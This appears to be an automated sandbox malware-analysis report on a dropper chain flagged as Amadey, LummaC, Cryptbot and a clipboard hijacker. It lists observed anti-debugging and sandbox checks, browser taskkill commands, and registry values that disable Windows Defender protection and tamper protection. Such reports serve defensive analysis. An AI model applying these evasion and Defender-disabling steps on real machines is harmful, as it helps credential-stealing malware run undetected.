Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2153444056.00000000011B6000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2183258969.00000000003D6000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2189258219.00000000003D6000.00000040.00000001.01000000.00000007.sdmp, 01806ad967.exe, 00000007.00000002.3832597281.0000000001561000.00000040.00000001.01000000.00000009.sdmp, 847b1b04ba.exe, 00000009.00000002.2579369955.0000000000CD2000.00000040.00000001.01000000.0000000A.sdmp, 7acf96002d.exe, 0000000A.00000002.2890476164.0000000000F0F000.00000040.00000001.01000000.0000000B.sdmp, 847b1b04ba.exe, 0000000E.00000002.3083083679.0000000000CD2000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.0000000001504000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Windows\SysWOW64\taskkill.exe

System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05200750 Start: 05200787 End: 05200761

0_2_05200750

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05200D56 rdtsc

0_2_05200D56

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0065EAA2 BlockInput,

11_2_0065EAA2

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00612622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_00612622

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_005E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_005E42DE

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00604CE8 mov eax, dword ptr fs:[00000030h]

11_2_00604CE8

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00640B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

11_2_00640B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00612622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00612622
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0060083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0060083F
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_006009D5 SetUnhandledExceptionFilter,	11_2_006009D5
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00600C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00600C21

Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 7acf96002d.exe PID: 2052, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

11_2_00641201

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00622BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00622BA5

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0064B226 SendInput,keybd_event,

11_2_0064B226

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_006622DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

11_2_006622DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe "C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe "C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe "C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe "C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

11_2_00640B62

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00641663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_00641663

Source: 92f830ff9f.exe, 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000003.00000002.2189258219.00000000003D6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Oq=Program Manager
Source: 847b1b04ba.exe, 847b1b04ba.exe, 00000009.00000002.2579369955.0000000000CD2000.00000040.00000001.01000000.0000000A.sdmp, 7acf96002d.exe, 7acf96002d.exe, 0000000A.00000002.2890476164.0000000000F0F000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Program Manager
Source: 92f830ff9f.exe	Binary or memory string: Shell_TrayWnd
Source: firefox.exe, 0000001C.00000002.2874671028.000000EC2DDFB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 01806ad967.exe, 01806ad967.exe, 00000007.00000002.3832597281.0000000001561000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: \Program Manager

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00600698 cpuid

11_2_00600698

Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00658195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

11_2_00658195

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0063D27A GetUserNameW,

11_2_0063D27A

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0061B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

11_2_0061B952

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_005E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_005E42DE

Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2214483848.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2153359889.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2112451523.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2148877324.0000000004820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2189175428.00000000001D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2183185720.00000000001D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2141916503.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Clipboard Hijacker

Source: Yara match	File source: 00000007.00000003.3710209065.0000000007B84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 01806ad967.exe PID: 5196, type: MEMORYSTR

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 92f830ff9f.exe PID: 5204, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000007.00000003.2994386470.0000000001D0D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 01806ad967.exe PID: 5196, type: MEMORYSTR

Yara detected LummaC Stealer

